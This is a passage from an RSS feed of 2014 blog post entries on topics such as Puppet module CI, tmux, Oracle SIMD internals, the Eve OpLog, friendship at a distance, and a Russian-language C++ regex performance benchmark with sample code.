	&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/Continuous_integration"&gt;CI&lt;/a&gt; (testing) with &lt;a href="https://github.com/purpleidea/puppet-ipa/blob/master/.travis.yml"&gt;travis&lt;/a&gt; on git push (automatic testing for everyone)&lt;/li&gt;
	&lt;li&gt;Use of &lt;a href="https://projects.puppetlabs.com/issues/14651"&gt;&lt;code&gt;.pmtignore&lt;/code&gt;&lt;/a&gt; to ignore files from puppet module packages (finally)&lt;/li&gt;
	&lt;li&gt;Pushing modules to the forge with &lt;a href="https://github.com/maestrodev/puppet-blacksmith"&gt;blacksmith&lt;/a&gt; (sweet!)&lt;/li&gt;
&lt;/ul&gt;
This last point deserves another mention. Puppetlabs created the "forge" to try to provide some sort of added value to their stewardship. Personally, I like to look for code on &lt;a href="https://github.com/purpleidea/"&gt;github&lt;/a&gt; instead, but nevertheless, some do use the forge. The problem is that to upload new releases, &lt;a href="https://twitter.com/purpleidea/status/520635052850675712"&gt;you need to click your mouse like a windows user&lt;/a&gt;! Someone has finally solved that problem! If you use blacksmith, a new build is just a &lt;code&gt;rake push&lt;/code&gt; away!
&lt;p&gt;Have a look at &lt;a href="https://github.com/purpleidea/puppet-gluster/commit/f24cca2ac8d138aae71c019a9bf6f311395f562d"&gt;this example commit&lt;/a&gt; if you&amp;rsquo;re interested in seeing the plumbing.&lt;/p&gt;</description><author>The Technical Blog of James on purpleidea.com</author><pubDate>Fri, 10 Oct 2014 18:34:53 GMT</pubDate><guid isPermaLink="true">https://purpleidea.com/blog/2014/10/10/continuous-integration-for-puppet-modules/</guid></item><item><title>Updating tmux without killing active sessions</title><link>https://blog.erethon.com/blog/2014/10/10/updating-tmux-without-killing-active-sessions/</link><description>&lt;p&gt;
I've been using &lt;a href="http://tmux.sourceforge.net/"&gt;tmux&lt;/a&gt; for a while, and even though I didn't like it at
first, now I'm in love with it. I'm mostly using it as a GNU Screen
alternative, but I don't use some of its fancy features like tabs,
mainly because my window manager takes care of multiple terminal
windows for me.&lt;/p&gt;</description><author>Erethon's Corner</author><pubDate>Fri, 10 Oct 2014 17:53:02 GMT</pubDate><guid isPermaLink="true">https://blog.erethon.com/blog/2014/10/10/updating-tmux-without-killing-active-sessions/</guid></item><item><title>Sabi Sands Game Reserve, South Africa</title><link>http://gearpatrol.com/2014/10/02/photos-sabi-sands-game-reserve-south-africa/</link><description>&lt;p&gt;Another article courtesy of the folks over at Gear Patrol, this time a photo essay after a trip to South Africa&amp;#8217;s Sabi Sands Game Reserve. I spent three months in South Africa a number of years ago, and hours upon days trolling through an adjacent park (Kruger National Park, for those curious), but only managed to see a fraction of the sights the folks did here. Even then, though, I have no complaints: Africa was full of majesty everywhere I looked. Ben Bowers saw some of that majesty in Sabi Sands, I saw some of it elsewhere, and we both walked away changed men.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://gearpatrol.com/2014/10/02/photos-sabi-sands-game-reserve-south-africa/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Fri, 10 Oct 2014 11:14:26 GMT</pubDate><guid isPermaLink="true">http://gearpatrol.com/2014/10/02/photos-sabi-sands-game-reserve-south-africa/</guid></item><item><title>Why searchcode.com isn't 100% free software</title><link>https://boyter.org/2014/10/searchcode-com-100-free-software/</link><description>&lt;p&gt;The recent surge in attention to searchcode from the Windows 9/10 naming fiasco resulted in a lot of questions being raised about searchcode&amp;rsquo;s policy about free software (open source). While the policy is laid out on the &lt;a href="https://searchcode.com/about/"&gt;about page&lt;/a&gt; some have raised the issue of the ethics about using such a website which is not 100% free (as in freedom).&lt;/p&gt;
&lt;p&gt;For the purposes of the rest of this post &amp;ldquo;free software&amp;rdquo; is going to refer to software defined as not infringing freedom rather then free as in beer.&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Fri, 10 Oct 2014 10:14:08 GMT</pubDate><guid isPermaLink="true">https://boyter.org/2014/10/searchcode-com-100-free-software/</guid></item><item><title>OgreVR Milestone 1: Basic Head Tracking</title><link>https://spindas.dreamwidth.org/332.html</link><description>&lt;p&gt;I'm working on integrating the Oculus Rift DK2 with the &lt;a href="http://ogre3d.org/"&gt;Ogre3D engine&lt;/a&gt;. Last night I got basic head tracking working: moving the DK2 in real life translates into camera movement in-game. The goal is to build a toolkit that makes building something for the Rift in Ogre super duper easy.&lt;/p&gt;
&lt;br /&gt;&lt;br /&gt;&lt;img alt="comment count unavailable" height="12" src="https://www.dreamwidth.org/tools/commentcount?user=spindas&amp;amp;ditemid=332" style="vertical-align: middle;" width="30" /&gt; comments</description><author>spinda's dreamwidth</author><pubDate>Fri, 10 Oct 2014 07:17:54 GMT</pubDate><guid isPermaLink="true">https://spindas.dreamwidth.org/332.html</guid></item><item><title>Sol Orwell: Co-Founder of Examine.com</title><link>https://solomon.io/sol-orwell-co-founder-of-examine-com/</link><description>Sol Orwell is the co-founder of Examine.com, an independent encyclopedia for supplement and nutrition information.</description><author>Sam Solomon</author><pubDate>Fri, 10 Oct 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://solomon.io/sol-orwell-co-founder-of-examine-com/</guid></item><item><title>Plastc: Everything Coin Should Have Been</title><link>http://bgr.com/2014/10/07/plastc-card-release-date-price-preorders/</link><description>&lt;p&gt;Although I started out &lt;a href="https://zacs.site/blog/thoughts-regarding-coin.html"&gt;confident in Coin&amp;#8217;s eventual success&lt;/a&gt;, I have since made no bones about my distaste for their &lt;a href="https://zacs.site/blog/bad-coin.html"&gt;questionable methodologyy&lt;/a&gt;, &lt;a href="https://zacs.site/blog/more-coin.html"&gt;business model&lt;/a&gt;, and &lt;a href="https://twitter.com/zacjszewczyk/status/509686863574343681"&gt;apparent inability to meet deadlines&lt;/a&gt;. Burn me once, shame on you; burn me twice, though, shame on me: I&amp;#8217;m hesitant to get behind Plastc given the apparently insurmountable challenges of this space, but that won&amp;#8217;t stop me from wishing them success. At this point, I just want to see someone make actual progress.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://bgr.com/2014/10/07/plastc-card-release-date-price-preorders/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 09 Oct 2014 22:16:54 GMT</pubDate><guid isPermaLink="true">http://bgr.com/2014/10/07/plastc-card-release-date-price-preorders/</guid></item><item><title>Event queues</title><link>https://liza.io/event-queues/</link><description>&lt;p&gt;The brain thing is really getting out of control.&lt;/p&gt;
&lt;p&gt;Yesterday I ran into this problem:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Fatal error: Maximum function nesting level of '100' reached, aborting!&lt;/code&gt;&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Thu, 09 Oct 2014 16:06:13 GMT</pubDate><guid isPermaLink="true">https://liza.io/event-queues/</guid></item><item><title>C++ bookmarks</title><link>https://xenodium.com/cpp-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="http://nickdesaulniers.github.io/blog/2015/07/23/additional-c-slash-c-plus-plus-tooling/"&gt;Additional C/C++ Tooling&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://leanpub.com/cppbestpractices/c/release_799"&gt;C++ Best Practices&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/isocpp/CppCoreGuidelines"&gt;C++ Core Guidelines&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://cppreference.com"&gt;cppreference.com&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/romkatv/gitstatus/blob/master/docs/listdir.md"&gt;Fast directory listing&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Dobiasd/FunctionalPlus"&gt;FunctionalPlus: helps you write concise and readable C++ code&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/mozilla/rr"&gt;GitHub - mozilla/rr: Record and Replay Framework (debugging)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=24361469"&gt;Modern C | Hacker News&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.murrayc.com/permalink/2015/12/05/modern-c-variadic-template-parameters-and-tuples/"&gt;Modern C++: Variadic template parameters and tuples&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=35758898"&gt;My favorite C compiler flags during development | Hacker News&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.artima.com/cppsource/top_cpp_aha_moments.html"&gt;My Most Important C++ Aha! Moments…Ever&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.amazon.co.uk/Programming-Principles-Practice-Using-C/dp/0321992784"&gt;Programming: Principles and Practice Using C++ Paperback&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://samthursfield.wordpress.com/2015/10/20/some-cmake-tips/"&gt;Some CMake tips&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://vitiy.info/Slides/MeetingCPP2015/MeetingCPP2015Complexity.pdf"&gt;The ways to avoid complexity in modern C++&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Thu, 09 Oct 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/cpp-bookmarks</guid></item><item><title>[Computing] On Normativity in Configuration Management</title><link>https://www.devever.net/~hl/ncfgm</link><description>&lt;p&gt;This document explores the design of host orchestration approaches. In
particular, the following issues have central attention:&lt;/p&gt;</description><author>devever.net/~hl</author><pubDate>Thu, 09 Oct 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.devever.net/~hl/ncfgm</guid></item><item><title>Viewfinder: Above America</title><link>http://gearpatrol.com/2014/10/01/viewfinder-above-america/</link><description>&lt;p&gt;In a day and age before ubiquitous personal drones roamed the skies, capturing incredible footage of active volcanoes, &lt;a href="https://zacs.site/blog/dji-phantom-quadcopter.html"&gt;for example&lt;/a&gt;, filmmakers had no choice but to climb into planes and film those breathtaking views themselves. Harrison Sanborn found some of this footage in his father&amp;#8217;s archives, digitized the film, and turned the result into a neat three minute video on Vimeo.&lt;/p&gt;

&lt;p&gt;There&amp;#8217;s a certain quality to this footage that newer, digital-first recordings courtesy or our aerial robotic minions just don&amp;#8217;t have. Perhaps its &amp;#8220;the celluloid warmth of the colors&amp;#8221;, as Nick Milanes suggests in Gear Patrol&amp;#8217;s article covering the video. Regardless of what it is, I just hope that we don&amp;#8217;t lose it. There is always something to be said for taking the hard route, and the quality of the end-product when doing so, over that of the easier, increasingly mechanized approach.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://gearpatrol.com/2014/10/01/viewfinder-above-america/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 08 Oct 2014 11:27:07 GMT</pubDate><guid isPermaLink="true">http://gearpatrol.com/2014/10/01/viewfinder-above-america/</guid></item><item><title>The New American Dustbowl</title><link>https://medium.com/matter/why-the-california-drought-is-all-your-fault-55f81a947ce2</link><description>&lt;p&gt;An incredible, remarkably powerful story by Alan Heathcock that seeks to lay the harsh realities of drought to bear with a painful, hard-hitting story of good people who have lost everything for lack of one sample necessity: water. This article ought to be a prerequisite for forming any opinions on sustainability whatsoever.&lt;/p&gt;


                &lt;p&gt;&lt;a href="https://medium.com/matter/why-the-california-drought-is-all-your-fault-55f81a947ce2"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 07 Oct 2014 16:43:02 GMT</pubDate><guid isPermaLink="true">https://medium.com/matter/why-the-california-drought-is-all-your-fault-55f81a947ce2</guid></item><item><title>ngWhatever - A better structure for Angular modules</title><link>https://adamcraven.com/writing/a-better-module-structure/</link><description>Reducing code complexity though conventions and stop services and controllers turning into a dumping ground for core logic</description><author>Writing on Adam Craven</author><pubDate>Tue, 07 Oct 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://adamcraven.com/writing/a-better-module-structure/</guid></item><item><title>Last Steps on the Pacific Northwest Trail</title><link>http://gearjunkie.com/pnt-trip-report-pacific-ocean</link><description>&lt;p&gt;Jeff Kish, contributing editor at the excellent site GearJunkie, spent the summer hiking 1,200 miles on the Pacific Northwest Trail. I followed his journey from that first report in July all the way up to this the conclusion of his trek, and I have to say: I&amp;#8217;m both jealous and impressed. If you had the misfortune of missing this great series, head over and check it out: it&amp;#8217;s well-worth your time. &lt;a href="http://gearjunkie.com/pnt"&gt;Follow Thru-Hike Of &amp;#8220;Pacific Northwest Trail&amp;#8221; All Summer&lt;/a&gt;.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://gearjunkie.com/pnt-trip-report-pacific-ocean"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Mon, 06 Oct 2014 11:21:05 GMT</pubDate><guid isPermaLink="true">http://gearjunkie.com/pnt-trip-report-pacific-ocean</guid></item><item><title>Oracle In-Memory Column Store Internals – Part 1 – Which SIMD extensions are getting used?</title><link>https://tanelpoder.com/2014/10/05/oracle-in-memory-column-store-internals-part-1-which-simd-extensions-are-getting-used/</link><description>&lt;p&gt;This is the first entry in a series of random articles about some useful internals-to-know of the awesome &lt;a href="https://blogs.oracle.com/In-Memory/" target="_blank"&gt;Oracle Database In-Memory column store&lt;/a&gt;. I intend to write about Oracle’s IM stuff that’s not already covered somewhere else and also about some general CPU topics (that are well covered elsewhere, but not always so well known in the Oracle DBA/developer world).&lt;/p&gt;
&lt;p&gt;Before going into further details, you might want to review the &lt;a href="https://tanelpoder.com/2014/09/17/about-index-range-scans-disk-re-reads-and-how-your-new-car-can-go-600-miles-per-hour/" target="_blank" title="About index range scans, disk re-reads and how your new car can go 600 miles per hour!"&gt;Part 0&lt;/a&gt; of this series and also our recent &lt;a href="http://www.slideshare.net/tanelp/oracle-database-inmemory-option-in-action" target="_blank"&gt;Oracle Database In-Memory Option in Action&lt;/a&gt; presentation with some examples. And then &lt;a href="https://software.intel.com/en-us/articles/introduction-to-intel-advanced-vector-extensions" target="_blank"&gt;read this doc&lt;/a&gt; by Intel if you want more info on how the SIMD registers and instructions get used.&lt;/p&gt;
&lt;p&gt;There’s a lot of talk about the use of your CPUs’ SIMD &lt;em&gt;vector processing&lt;/em&gt; capabilities in the Oracle inmemory module, let’s start by checking if it’s enabled in your database at all. We’ll look into Linux/Intel examples here.&lt;/p&gt;</description><author>Tanel Poder Blog</author><pubDate>Mon, 06 Oct 2014 08:51:30 GMT</pubDate><guid isPermaLink="true">https://tanelpoder.com/2014/10/05/oracle-in-memory-column-store-internals-part-1-which-simd-extensions-are-getting-used/</guid></item><item><title>Your "Community" Should Not Be Local</title><link>https://josh.works/growth/home/2014/10/06/your-community-should-not-be-local/</link><description>&lt;p&gt;When Kristi and I were planning our move from Maryland to Colorado, the biggest challenge we anticipated was no longer being a short drive away from my sister, 
&lt;a href="http://jenniferdthompson.com/"&gt;Jen&lt;/a&gt;, and Kristi’s brother, 
&lt;a href="https://twitter.com/busterkeaton"&gt;Richard&lt;/a&gt;. There are a few reasons, however, that we decided the benefits of moving outweighed the costs.&lt;/p&gt;

&lt;h2 id="your-community-is-critical-even-if-you-dont-think-it-is"&gt;Your Community is Critical (Even if you don’t think it is)&lt;/h2&gt;

&lt;p&gt;First, it is not an option for us to be without these relationships. (There are a few other dear friends in our lives, but I’ll get to that in a minute.) Even when we were in Maryland, we had to be intentional to spend quality time with Jen, Richard, and others. Why be intentional? We want to surround ourselves with people that encourage us to strive, in all areas of our lives, for more. I firmly believe that 
&lt;a href="http://lifehacker.com/5926309/how-the-people-around-you-affect-personal-success"&gt;we will be the average of our five closest friends&lt;/a&gt;, so it’s important to choose wisely.&lt;/p&gt;

&lt;p&gt;These relationships are critical to Kristi and I not because they’re fun (they are) but because we can be vulnerable and open within these relationships. It takes work, and trust, to build that vulnerability into a relationship, and once it’s there, we’re not about to let it go.
more&lt;/p&gt;

&lt;h2 id="your-community-does-not-need-to-be-local"&gt;Your Community Does NOT Need to be Local&lt;/h2&gt;

&lt;p&gt;The very thing that makes these relationships significant is the thing that allows them to be relatively unaffected by distance and time zones. The vast majority of the time I spoke with Jen or her new husband Andrew was on the phone. It doesn’t matter if I’m ten minutes away or 22 hours away - they are all just a phone call away.&lt;/p&gt;

&lt;p&gt;The intentionality is still there, but now, instead of someone driving to someone else’s house for dinner, we call them on Skype. If anything, we’re even more intentional in our friendship with this distance. We’ve found a few good friends, and to us, it doesn’t really matter where in the world they are. If they moved or we do, the relationship continues unchanged.&lt;/p&gt;

&lt;h2 id="who-is-your-community"&gt;Who is Your Community?&lt;/h2&gt;

&lt;p&gt;If you could fast-forward to the end of your life, and knew that you’d be the average of your five closest friends, who would you choose to be those friends? Would you be happy with that average, or disappointed?&lt;/p&gt;

&lt;p&gt;Of my closest friends, if I were to end up as the average of them, I’d be thrilled. I’ve been blessed with a small group of smart, hard-working, vulnerable men who invest in me regularly. To me, this group of friends is worth more than any job or accomplishment.&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Mon, 06 Oct 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/growth/home/2014/10/06/your-community-should-not-be-local/</guid></item><item><title>Feature Overview: The Eve OpLog</title><link>https://nicolaiarocci.com/feature-overview-the-eve-oplog/</link><description>&lt;p&gt;The operations log or OpLog is a new &lt;a href="http://python-eve.org"&gt;Eve&lt;/a&gt; feature that I’m currently developing on the &lt;a href="https://github.com/nicolaiarocci/eve/tree/oplog"&gt;&lt;code&gt;oplog&lt;/code&gt;&lt;/a&gt; experimental branch. It’s supposed to help in addressing a subtle issue that we’ve been dealing with, but I believe it can also emerge as a very useful all-around tool. I am posting about it in the hope of gathering some feedback from Eve contributors and users, so that I can better pinpoint design and implementation before I merge it to the main development branch.&lt;/p&gt;
&lt;h2 id="what-is-the-oplog"&gt;What is the OpLog?&lt;/h2&gt;
&lt;p&gt;The OpLog is a special resource that keeps a record of operations that modify the data stored by the API. Every &lt;code&gt;POST&lt;/code&gt;, &lt;code&gt;PATCH&lt;/code&gt;, &lt;code&gt;PUT&lt;/code&gt; and &lt;code&gt;DELETE&lt;/code&gt; operation can eventually be recorded by the oplog.&lt;/p&gt;
&lt;p&gt;At its core the oplog is simply a server log, something that’s always been on the Eve roadmap. What makes it a little bit different is its ability to be exposed as a read-only API endpoint. This would in turn allow clients to query it as they would with any other standard endpoint.&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Mon, 06 Oct 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/feature-overview-the-eve-oplog/</guid></item><item><title>Производительность С++ STL regex</title><link>https://artem.krylysov.com/blog/2014/10/06/cpp-stl-regex-performance/</link><description>&lt;p&gt;Столкнулся недавно с простой задачей - нужно было найти позицию открывающегося тега &lt;span class="docutils literal"&gt;&amp;lt;body&amp;gt;&lt;/span&gt; в HTML странице. Не долго думая я решил использовать регулярные выражения, через минуту у меня родился регексп &lt;span class="docutils literal"&gt;&lt;span class="pre"&gt;&amp;lt;body[^&amp;gt;]*&amp;gt;&lt;/span&gt;&lt;/span&gt;. Все работало хорошо, пока дело не дошло до тестирования на больших объемах данных.&lt;/p&gt;
&lt;p&gt;Я решил создать тестовое приложение, дабы замерить скорость работы &lt;span class="docutils literal"&gt;regex_search&lt;/span&gt;:&lt;/p&gt;
&lt;pre class="code c++ literal-block"&gt;&lt;code&gt;&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;regex&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;iostream&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;find_position_re&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;regex&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;regex&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;smatch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;match&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;regex_search&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;match&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;regex&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;match&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;position&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;match&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;-1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;argc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[])&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;' '&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&amp;lt;body&amp;gt;asdasd&amp;lt;/body&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;regex&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;regex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&amp;lt;body[^&amp;gt;]*&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;

    &lt;/span&gt;&lt;span class="kt"&gt;float&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;float&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;clock&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CLOCKS_PER_SEC&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;

    &lt;/span&gt;&lt;span class="n"&gt;find_position_re&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;regex&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;

    &lt;/span&gt;&lt;span class="kt"&gt;float&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;float&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;clock&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CLOCKS_PER_SEC&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;

    &lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;На поиск в 10 мегабайтной строке потребовалось почти 200 миллисекунд, что не очень быстро, учитывая, что тестировалось на свежем MacBook Pro.&lt;/p&gt;
&lt;p&gt;Для интереса я скомпилировал код с помощью GCC и Clang, написал аналогичный код на Python:&lt;/p&gt;
